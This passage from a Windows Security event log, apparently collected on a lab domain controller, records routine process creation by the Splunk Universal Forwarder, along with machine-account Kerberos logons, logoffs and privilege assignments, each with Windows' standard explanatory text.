	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255534
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x880
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255533
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x63c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255536
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255535
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255537
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255540
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x323F6A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:18:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255539
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x323F6A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62692

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:18:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255538
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x323F6A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:19:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255541
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x904
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255543
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255542
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255544
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255546
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255545
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255547
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x544
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:19:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255550
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3274CC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:19:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255549
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3274CC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62705

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:19:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255548
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3274CC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:20:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255551
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255552
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb68
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255554
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe84
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

